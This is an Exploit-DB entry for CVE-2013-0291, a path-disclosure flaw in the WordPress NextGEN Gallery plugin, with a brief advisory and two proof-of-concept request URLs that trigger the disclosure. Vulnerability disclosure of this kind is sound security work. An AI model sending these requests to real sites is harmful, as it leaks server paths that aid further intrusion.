WordPress NextGEN Gallery Plugin Path Disclosure Vulnerability

2013-02-14T00:00:00
ID EDB-ID:38314
Type exploitdb
Reporter Henrique Montenegro
Modified 2013-02-14T00:00:00

Description

WordPress NextGEN Gallery Plugin Path Disclosure Vulnerability. CVE-2013-0291. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/57957/info

The NextGEN Gallery plugin for WordPress is prone to a path-disclosure vulnerability. 

An attacker can exploit this issue to obtain sensitive information that may lead to further attacks. 

NextGEN Gallery versions 1.9.10 and 1.9.11 are vulnerable; other versions may also be affected.

http://www.example.com/?callback=json&api_key=true&format=json&method=gallery&id=1 

http://www.example.com/?callback=json&api_key=true&format=xml&method=recent&limit=1